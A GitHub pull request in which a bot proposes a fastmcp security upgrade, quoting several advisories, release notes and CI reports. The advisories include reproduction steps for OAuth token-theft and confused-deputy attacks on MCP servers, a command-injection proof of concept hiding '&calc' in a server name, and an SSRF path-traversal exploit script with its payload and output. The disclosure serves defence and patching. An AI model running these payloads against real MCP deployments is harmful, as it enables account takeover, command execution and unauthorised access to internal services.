Skip to content

fix(deps): update dependency fastmcp to v3 [security] - #864

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-fastmcp-vulnerability
Open

fix(deps): update dependency fastmcp to v3 [security]#864
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-fastmcp-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Dec 27, 2025 •
edited
Loading

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
fastmcp ==2.13.0.2 → ==3.2.0 age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

FastMCP updated to MCP 1.23+ due to CVE-2025-66416

GHSA-rcfx-77hg-w2wv

More information

Details

There was a recent CVE report on MCP: https://nvd.nist.gov/vuln/detail/CVE-2025-66416.

FastMCP does not use any of the affected components of the MCP SDK directly. However, FastMCP versions prior to 2.14.0 did allow MCP SDK versions <1.23 that were vulnerable to CVE-2025-66416. Users should upgrade to FastMCP 2.14.0 or later.

Severity

High

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

FastMCP OAuth Proxy token reuse across MCP servers

CVE-2025-69196 / GHSA-5h2m-4q8j-pqpj

More information

Details

While testing the OAuth Proxy implementation, it was noticed that the server does not properly respect the resource parameter submitted by the client in the authorization and token request. Instead of issuing the token explicitly for this MCP server, the token is issued for the base_url passed to the OAuthProxy during initialization.

Affected File:
https://github.com/jlowin/fastmcp/blob/main/src/fastmcp/server/auth/oauth_proxy.py#L828

Affected Code:

self._jwt_issuer: JWTIssuer = JWTIssuer(
    issuer=str(self.base_url),
    audience=f"{str(self.base_url).rstrip('/')}/mcp",
    signing_key=jwt_signing_key,
)

Since the issued access and refresh tokens do not include information about the resource the token was issued for, it is impossible for the MCP server to properly verify whether the token was issued for it, hence violating the requirement of doing so demanded by the specification. Being able to verify whether the token was issued for the target MCP server enforces the protections offered by the steps proposed by the specification and the Resource Indicators OAuth extension.

Therefore, this misconfiguration exposes all MCP server setups using the FastMCP OAuth Proxy to an attack where an adversary creates a malicious MCP server that advertises the benign OAuth Proxy authorization server as its own authorization server. Once a victim completes an OAuth flow with this malicious MCP server, authenticating against the AS, the adversary can extract the token received at the malicious MCP server and use it to access other MCP servers (the benign ones) that also use the same AS, including the tools and resources they expose.

Steps to reproduce:

  1. Extract the provided PoC environment.
  2. Enter the client_id and client_secret of a GitHub App you control into the mcp-server-proxy.py script.
  3. Start the benign MCP server using an OAuth Proxy (in this case the GitHubProvider): python3 mcp-server-proxy.py.
  4. Start the malicious AS: python3 mal_auth_server.py.
  5. Start the malicious MCP server: python3 attacker_server.py.
  6. Connect the client to the malicious MCP server: python3 client.py.
  7. Complete the OAuth flow.
  8. Observe in the logs of the malicious MCP server that the request to the benign MCP server with the stolen token returned a 200 status code.
Impact

This vulnerability allows an adversary to steal a victim’s authentication material for a benign MCP server using the FastMCP OAuth Proxy. The severity of this issue was decreased to Medium due to the consent screen showing the name of the MCP server the OAuth Proxy was intended for. However, a victim might not see it or get otherwise convinced by the attacker to ignore it, and overall this does not act as a proper mitigation for this issue.

Mitigation

To mitigate this vulnerability, it is recommended to issue tokens specifically for the MCP server submitted in the authorization URL’s resource GET parameter. In this way, the receiving MCP server will be able to properly verify that the token was indeed issued for it, allowing it to reject tokens stolen by an attack like the one demonstrated above.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

FastMCP has a Command Injection vulnerability - Gemini CLI

CVE-2025-64340 / GHSA-m8x7-r2rg-vh5g

More information

Details

Server names containing shell metacharacters (e.g., &) can cause command injection on Windows when passed to fastmcp install claude-code or fastmcp install gemini-cli. These install paths use subprocess.run() with a list argument, but on Windows the target CLIs often resolve to .cmd wrappers that are executed through cmd.exe, which interprets metacharacters in the flattened command string.

PoC:

from fastmcp import FastMCP

mcp = FastMCP(name="test&calc")

@mcp.tool
def roll_dice(n_dice: int) -> list[int]:
    """Roll `n_dice` 6-sided dice and return the results."""
    return [random.randint(1, 6) for _ in range(n_dice)]
fastmcp install claude-code server.py   # or: fastmcp install gemini-cli server.py

On Windows, this opens Calculator via the &calc in the server name.

Impact:
Arbitrary command execution with the privileges of the user running fastmcp install. Affects Windows hosts where the target CLI (one of claude, gemini) is installed as a .cmd wrapper. Does not affect macOS/Linux, and does not affect config-file-based install targets (cursor, goose, mcp-json).

Patched in #​3522 by validating server names to reject shell metacharacters.

Severity

  • CVSS Score: 6.7 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

FastMCP: Missing Consent Verification in OAuth Proxy Callback Facilitates Confused Deputy Vulnerabilities

CVE-2026-27124 / GHSA-rww4-4w9c-7733

More information

Details

Summary

While testing the GitHubProvider OAuth integration, which allows authentication to a FastMCP MCP server via a FastMCP OAuthProxy using GitHub OAuth, it was discovered that the FastMCP OAuthProxy does not properly validate the user's consent upon receiving the authorization code from GitHub. In combination with GitHub’s behavior of skipping the consent page for previously authorized clients, this introduces a Confused Deputy vulnerability.

Technical Details

An adversary can initiate an authentication flow by connecting their malicious MCP client to a benign MCP server using the GitHubProvider OAuth integration. During this flow, the attacker consents to connect their client to the MCP server and, at that point, can capture the GitHub authorization URL they are redirected to after granting consent. The attacker can then lure a victim, who is already logged into GitHub and has previously connected an MCP client to the benign MCP server, to open this captured URL. As a result, the victim’s browser is immediately redirected to the OAuthProxy’s callback endpoint, which does not correctly enforce that this browser has just given consent. The OAuthProxy then redirects the victim’s browser to the malicious MCP client’s callback URL with a valid authorization code. The attacker can exchange this code for an access token to the benign MCP server associated with the victim’s GitHub account, potentially gaining unauthorized access to resources tied to that account.

Although this issue was verified in practice only for the GitHubProvider, a review of the source code, specifically the OAuthProxy._handle_idp_callback function, shows that the IdP callback handler does not verify whether the browser sending the state and code has previously consented to connecting the client to the server. As long as a valid state and code pair is provided, the OAuthProxy requests an access token from the IdP and then redirects the user-agent to the client’s callback URL with a new code and the corresponding state, allowing the client to retrieve the access token from the proxy. This pattern causes all OAuth integrations whose IdP allows skipping the consent page to be vulnerable to this attack.

Skipping the consent page is not, by itself, a vulnerability on the IdP side. Many providers legitimately skip consent for first-party or previously authorized clients with the same scopes. In this case, the core problem lies in the OAuthProxy callback handler not correctly verifying that the browser issuing the callback request is the same one that has just given the required consent.

Steps to reproduce
  1. Set up an MCP server using the GitHubProvider integration.
  2. Connect a benign MCP client to this MCP server.
  3. Configure your default browser to route all traffic through an interception proxy such as Burp Suite.
  4. In a private browsing window or a second browser, log into the GitHub account used in step 2.
  5. As the attacker, connect a new (malicious) MCP client to the MCP server from step 1.
  6. When the browser opens for the attacker’s client, enable interception in your proxy.
  7. In the browser, confirm the consent prompt.
  8. In the proxy, forward all requests up to the authorization request to the GitHub authorization server.
  9. Copy the authorization URL and drop the intercepted request.
  10. Simulate luring the victim onto the URL by opening this URL in the browser window opened in step 4.
  11. Observe that the malicious client receives a valid authorization code and gains access to the benign MCP server using the victim’s GitHub account.

In a more realistic scenario, the malicious client could be a public MCP client or a simple web server that logs the received authorization code or token, which the attacker then uses to obtain the access token and connect to the MCP server as the victim.

Recommendation

To mitigate this issue, the OAuthProxy should verify that the browser sending the authorization code has actually given consent for the corresponding client. This can be achieved by setting and validating a consent cookie or similar browser-bound state, as described in the mitigations section for this vulnerability in the MCP specification.

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

FastMCP OpenAPI Provider has an SSRF & Path Traversal Vulnerability

CVE-2026-32871 / GHSA-vv7q-7jx5-f767

More information

Details

Technical Description

The OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service.

A critical vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL.

Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider.

Vulnerable Code

File: fastmcp/utilities/openapi/director.py

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    # Direct string substitution without encoding
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f""
        if placeholder in url_path:
            url_path = url_path.replace(placeholder, str(param_value))

    # urljoin resolves ../ escape sequences
    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))
Root Cause
  1. Path parameters are substituted directly without URL encoding
  2. urllib.parse.urljoin() interprets ../ as directory traversal
  3. No validation prevents traversal sequences in parameter values
  4. Requests inherit the authentication context of the MCP provider
Proof of Concept
Step 1: Backend API Setup

Create internal_api.py to simulate a vulnerable backend server:

from fastapi import FastAPI, Header, HTTPException
import uvicorn

app = FastAPI()

@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
    return {"status": "success", "user": user_id}

@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
    if authorization == "Bearer admin_secret":
        return {"status": "CRITICAL", "message": "Administrative access granted"}
    raise HTTPException(status_code=401)

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8080)
Step 2: Exploitation Script

Create exploit_poc.py:

import asyncio
import httpx
from fastmcp.utilities.openapi.director import RequestDirector

async def exploit_ssrf():
    # Initialize vulnerable component
    director = RequestDirector(spec={})
    base_url = "http://127.0.0.1:8080/"
    template = "/api/v1/users/{id}/profile"
    
    # Payload: Path traversal to reach /admin/delete-all
    # The '?' character neutralizes the rest of the original template
    payload = "../../../admin/delete-all?"
    
    # Construct malicious URL
    malicious_url = director._build_url(template, {"id": payload}, base_url)
    print(f"[*] Generated URL: {malicious_url}")

    async with httpx.AsyncClient() as client:
        # Request inherits MCP provider's authorization headers
        response = await client.get(
            malicious_url, 
            headers={"Authorization": "Bearer admin_secret"}
        )
        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response: {response.text}")

if __name__ == "__main__":
    asyncio.run(exploit_ssrf())
Expected Output
[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}

The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.

Impact Assessment
Severity Justification
  • Unauthorized Access: Attackers can interact with private endpoints not exposed in the OpenAPI specification
  • Privilege Escalation: The attacker operates within the MCP provider's security context and credentials
  • Authentication Bypass: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented
  • Data Exfiltration: Sensitive internal APIs can be accessed and exploited
  • Lateral Movement: Internal-only services may be compromised from the network boundary
Attack Scenarios
  1. Accessing Admin Panels: Bypass API restrictions to reach administrative endpoints
  2. Data Theft: Access internal databases or sensitive information endpoints
  3. Service Disruption: Trigger destructive operations on backend services
  4. Credential Extraction: Access endpoints returning API keys, tokens, or credentials
Remediation
Recommended Fix

URL-encode all path parameter values before substitution to ensure reserved characters (/, ., ?, #) are treated as literal data, not path delimiters.

Updated code for _build_url() method:

import urllib.parse

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f""
        if placeholder in url_path:
            # Apply safe URL encoding to prevent traversal attacks
            # safe="" ensures ALL special characters are encoded
            safe_value = urllib.parse.quote(str(param_value), safe="")
            url_path = url_path.replace(placeholder, safe_value)

    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))

Severity

  • CVSS Score: 10.0 / 10 (Critical)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

PrefectHQ/fastmcp (fastmcp)

v3.2.0: : Show Don't Tool

Compare Source

FastMCP 3.2 is the Apps release. The 3.0 architecture gave you providers and transforms; 3.1 shipped Code Mode for tool discovery. 3.2 puts a face on it: your tools can now return interactive UIs — charts, dashboards, forms, maps — rendered right inside the conversation.

FastMCPApp

FastMCPApp is a new provider class for building interactive applications inside MCP. It separates the tools the LLM sees (@app.ui()) from the backend tools the UI calls (@app.tool()), manages visibility automatically, and gives tool references stable identifiers that survive namespace transforms and server composition — without requiring host cooperation.

from fastmcp import FastMCP, FastMCPApp
from prefab_ui.actions.mcp import CallTool
from prefab_ui.components import Column, Form, Input, Button, ForEach, Text

app = FastMCPApp("Contacts")

@app.tool()
def save_contact(name: str, email: str) -> list[dict]:
    db.append({"name": name, "email": email})
    return list(db)

@app.ui()
def contact_manager() -> PrefabApp:
    with PrefabApp(state={"contacts": list(db)}) as view:
        with Column(gap=4):
            ForEach("contacts", lambda c: Text(c.name))
            with Form(on_submit=CallTool("save_contact")):
                Input(name="name", required=True)
                Input(name="email", required=True)
                Button("Save")
    return view

mcp = FastMCP("Server", providers=[app])

The UI is built with Prefab, a Python component library that compiles to interactive UIs. You write Python; the user sees charts, tables, forms, and dashboards. FastMCP handles the MCP Apps protocol machinery — renderer resources, CSP configuration, structured content serialization — so you don't have to.

For simpler cases where you just want to visualize data without server interaction, set app=True on any tool and return Prefab components directly:

@mcp.tool(app=True)
def revenue_chart(year: int) -> PrefabApp:
    with PrefabApp() as app:
        BarChart(data=revenue_data, series=[ChartSeries(data_key="revenue")])
    return app
Built-in Providers

Five ready-made providers you add with a single add_provider() call:

  • FileUpload — drag-and-drop file upload with session-scoped storage
  • Approval — human-in-the-loop confirmation gates
  • Choice — clickable option selection
  • FormInput — generate validated forms from Pydantic models
  • GenerativeUI — the LLM writes Prefab code at runtime and the result streams to the user as it's generated
Dev Server

fastmcp dev apps launches a browser-based preview for your app tools — pick a tool, provide arguments, and see the rendered UI without connecting to an MCP host. Includes an MCP message inspector for debugging the protocol traffic.

Security

This release includes a significant security hardening pass: SSRF/path traversal prevention, JWT algorithm restrictions, OAuth scope enforcement, CSRF fixes, and more. See the changelog for the full list.

Everything Else

forward_resource flag on all OAuth providers for IdPs that don't support RFC 8707. Clerk auth provider. FileResource encoding parameter. SSL verify parameter. client_log_level setting. MCP conformance tests in CI. And contributions from 13 new contributors.

What's Changed
New Features 🎉
Breaking Changes ⚠️
Enhancements ✨
Security 🔒
Fixes 🐞
Docs 📚
Examples & Contrib 💡
Dependencies 📦
  • Bump authlib from 1.6.6 to 1.6.7 in /examples/testing_demo in the uv group across 1 directory by @​dependabot[bot] in #​3390
  • Bump actions/create-github-app-t

✂ Note

PR body was truncated to here.

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • "after 9am every weekday,before 5pm every weekday"

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot added the dependencies Pull requests that update a dependency file label Dec 27, 2025
@renovate
renovate Bot enabled auto-merge (squash) December 27, 2025 00:35
@renovate

renovate Bot commented Dec 27, 2025 •
edited
Loading

Copy link
Copy Markdown
Contributor Author

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: libs/fleet-mcp/uv.lock
Command failed: uv lock --upgrade-package fastmcp
Using CPython 3.10.21
  × No solution found when resolving dependencies for split (markers:
  │ python_full_version >= '3.10' and platform_python_implementation !=
  │ 'PyPy'):
  ╰─▶ Because fastmcp==3.2.0 depends on uvicorn>=0.35 and your project
      depends on fastmcp==3.2.0, we can conclude that your project depends
      on uvicorn>=0.35.
      And because your project depends on uvicorn==0.34.0, we can conclude
      that your project's requirements are unsatisfiable.

@renovate
renovate Bot force-pushed the renovate/pypi-fastmcp-vulnerability branch from 4dc2520 to 0b38f52 Compare January 4, 2026 13:09
@github-actions

github-actions Bot commented Jan 4, 2026 •
edited
Loading

Copy link
Copy Markdown

Run report for bf7ad75d (macos-latest, macOS, 0, 1, 1)

Total time: 5m 2s | Comparison time: 6m 59s | Estimated savings: 1m 57s (28.1% faster)

Action Time Status Info
🟩 SyncWorkspace 15.8ms Passed
🟩 SyncProject(vendir) 0.6ms Passed
🟩 SyncProject(devenv) 0.4ms Passed
🟦 RunTask(vendir:build) 21.1s Cached
🟩 RunTask(devenv:apply) 4m 40s Passed SLOW
🟦 RunTask(devenv:test) 257.2ms Cached
Environment

OS: macOS
Matrix:

os = macos-latest
name = macOS
index = 0
total = 1
job_number = 1

Variables:

MOON_TOOLCHAIN_FORCE_GLOBALS = true
Touched files
libs/fleet-mcp/pyproject.toml

@github-actions

github-actions Bot commented Jan 4, 2026 •
edited
Loading

Copy link
Copy Markdown

Run report for bf7ad75d (ubuntu-latest, Linux, 0, 2, 1)

Total time: 46.3s | Comparison time: 4m 36s | Estimated savings: 3m 49s (83.2% faster)

Action Time Status Info
🟩 SyncWorkspace 8.6ms Passed
🟩 SyncProject(devcontainer) 0.5ms Passed
🟩 SyncProject(fleet-mcp) 0.7ms Passed
🟦 RunTask(talos-image:generate-sha) 860.7ms Cached
🟦 RunTask(devcontainers-cli:build) 1.8s Cached
🟩 RunTask(docker:buildx_run) 1.9s Passed
🟦 RunTask(fleet-mcp:build) 1.2s Cached
🟥 RunTask(fleet-mcp:lint) 8.8s Failed
🟦 RunTask(vendir:build) 24s Cached
🟦 RunTask(vendir:test) 171.2ms Cached
🟦 RunTask(talos-image:generate-profile) 251.1ms Cached
🟦 RunTask(devcontainer:build) 687.9ms Cached
🟦 RunTask(devcontainer:test) 209.2ms Cached
🟩 RunTask(devenv:apply) 22.3s Passed
Environment

OS: Linux
Matrix:

os = ubuntu-latest
name = Linux
index = 0
total = 2
job_number = 1

Variables:

MOON_TOOLCHAIN_FORCE_GLOBALS = true
Touched files
libs/fleet-mcp/pyproject.toml

@github-actions

github-actions Bot commented Jan 4, 2026 •
edited
Loading

Copy link
Copy Markdown

Run report for bf7ad75d (ubuntu-latest, Linux, 1, 2, 2)

Total time: 53.1s | Comparison time: 5m 48s | Estimated savings: 4m 55s (84.8% faster)

Action Time Status Info
🟩 SyncWorkspace 8.9ms Passed
🟩 SyncProject(fleet-mcp) 0.5ms Passed
🟩 SyncProject(devcontainer) 0.9ms Passed
🟩 SyncProject(escaperoom) 0.3ms Passed
🟦 RunTask(talos-image:generate-sha) 1.5s Cached
🟩 RunTask(docker:buildx_run) 1.8s Passed
🟦 RunTask(escaperoom:test) 275.1ms Cached
🟦 RunTask(devcontainers-cli:build) 3s Cached
🟥 RunTask(fleet-mcp:test) 8s Failed
🟦 RunTask(vendir:build) 32.3s Cached
🟦 RunTask(vendir:test) 204.9ms Cached
🟦 RunTask(talos-image:generate-profile) 280.6ms Cached
🟦 RunTask(devcontainer:build) 485.5ms Cached
🟩 RunTask(devenv:apply) 20.8s Passed
Environment

OS: Linux
Matrix:

os = ubuntu-latest
name = Linux
index = 1
total = 2
job_number = 2

Variables:

MOON_TOOLCHAIN_FORCE_GLOBALS = true
Touched files
libs/fleet-mcp/pyproject.toml

@renovate
renovate Bot force-pushed the renovate/pypi-fastmcp-vulnerability branch 6 times, most recently from 882f0e1 to 69a99e7 Compare January 9, 2026 16:33
@renovate
renovate Bot force-pushed the renovate/pypi-fastmcp-vulnerability branch 11 times, most recently from 5c423f9 to d0d4f71 Compare January 18, 2026 08:51
@renovate
renovate Bot force-pushed the renovate/pypi-fastmcp-vulnerability branch 6 times, most recently from 99d08d4 to 372641e Compare January 23, 2026 10:30
@renovate
renovate Bot force-pushed the renovate/pypi-fastmcp-vulnerability branch 4 times, most recently from d0d6362 to d05e7c4 Compare February 6, 2026 19:32
@renovate
renovate Bot force-pushed the renovate/pypi-fastmcp-vulnerability branch 5 times, most recently from cfbd7c8 to 8654150 Compare February 19, 2026 16:46
@renovate
renovate Bot force-pushed the renovate/pypi-fastmcp-vulnerability branch 8 times, most recently from fb071fa to 44a91ac Compare March 3, 2026 09:57
@renovate
renovate Bot force-pushed the renovate/pypi-fastmcp-vulnerability branch 4 times, most recently from ae54852 to 786b7a3 Compare March 11, 2026 20:29
@renovate
renovate Bot force-pushed the renovate/pypi-fastmcp-vulnerability branch 2 times, most recently from 5e36cdd to f37d51a Compare March 16, 2026 15:54
@renovate
renovate Bot force-pushed the renovate/pypi-fastmcp-vulnerability branch 5 times, most recently from c418e94 to b9d26c3 Compare March 23, 2026 20:40
@renovate renovate Bot changed the title fix(deps): update dependency fastmcp to v2.14.0 [security] fix(deps): update dependency fastmcp to v2.14.0 [security] - autoclosed Mar 27, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

dependencies Pull requests that update a dependency file

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants